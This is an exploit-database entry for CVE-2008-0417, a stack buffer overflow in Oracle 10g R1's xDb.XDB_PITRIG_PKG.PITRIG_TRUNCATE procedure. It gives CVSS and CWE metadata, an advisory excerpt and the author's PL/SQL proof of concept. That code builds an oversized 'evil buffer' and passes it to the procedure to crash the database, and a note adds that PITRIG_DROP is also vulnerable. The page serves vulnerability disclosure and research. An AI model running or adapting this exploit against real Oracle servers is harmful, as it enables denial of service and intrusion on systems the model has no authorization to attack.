Oracle 10g R1 xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE Buffer Overflow

vendor:

Oracle Database Server

by:

Alexandr "Sh2kerr" Polyakov

9.3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Oracle Database Server

Affected Version From: Oracle 10.1.0.2.0

Affected Version To: Oracle 10.1.0.2.0

Patch Exists: YES

Related CWE: CVE-2008-0417

CPE: a:oracle:database_server:10.1.0.2.0

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2008

Oracle 10g R1 xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE Buffer Overflow

A buffer overflow vulnerability exists in Oracle 10g R1 xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE. The vulnerability is caused due to a boundary error within the handling of the 'PITRIG_TRUNCATE' procedure. This can be exploited to cause a stack-based buffer overflow by passing an overly long argument to the procedure.

Mitigation:

Oracle has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/27229/info

Oracle has released its critical patch update for January 2008. The advisory addresses 26 vulnerabilities affecting Oracle Database, Oracle Application Server, Oracle Collaboration Suite, Oracle E-Business Suite, Oracle Enterprise Manager, and Oracle People Soft Enterprise.

The issues identified by the vendor affect all security properties of the Oracle products and present local and remote threats. Various levels of authorization are needed to leverage some of the issues, but other issues do not require any authorization. The most severe of the vulnerabilities could possibly compromise affected computers. 

/******************************************************************/
/******* Oracle 10g R1 xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE *********/
/*******                BUFFER OVERFLOW                   *********/
/******************************************************************/
/************    POC exploit , Crash database        **************/
/******************************************************************/
/******************  BY Sh2kerr (Digital Security)  ***************/
/******************************************************************/
/***************** tested on oracle 10.1.0.2.0  *******************/
/******************************************************************/
/******************************************************************/
/*         Date of Public EXPLOIT:  January 28, 2008              */
/*         Written by:              Alexandr "Sh2kerr" Polyakov   */
/*         email:                   Alexandr.Polyakov@dsec.ru     */
/*         site:                    http://www.dsec.ru            */
/******************************************************************/
/*  Original Advisory by:                                         */
/*      Alexandr Polyakov [ Alexandr.Polyakov@dsec.ru]            */
/*      Reported: 18  Dec 2007                                    */
/*      Date of Public Advisory: January 15, 2008                 */
/*      Advisory: http://www.oracle.com/technology/deploy/        */
/*                security/critical-patch-updates/cpujan2008.html */
/*                                                                */
/******************************************************************/
/*  thanks to oraclefun for his pitrig_dropmetadata exploit       */
/*                                                                */
/******************************************************************/


set serveroutput on
declare
     buff varchar2(32767);
     begin
      /* generate evil buffer */
      buff:='12345678901234567890123456789';
      buff:=buff||buff;
      buff:=buff||buff;
      buff:=buff||buff;
      buff:=buff||buff;
      buff:=buff||buff;
      buff:=buff||'0012345678901234567890123sh2kerr';
      /* lets see the buffer size */
      dbms_output.put_line('SEND EVIL BUFFER SIZE:'||Length(buff));
      xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE(buff,buff);
     end;
   /


/* P.S.      xDb.XDB_PITRIG_PKG.PITRIG_DROP is also vulnerable */


/******************************************************************/
/*************************** SEE U LATER  ;)  ***********************/
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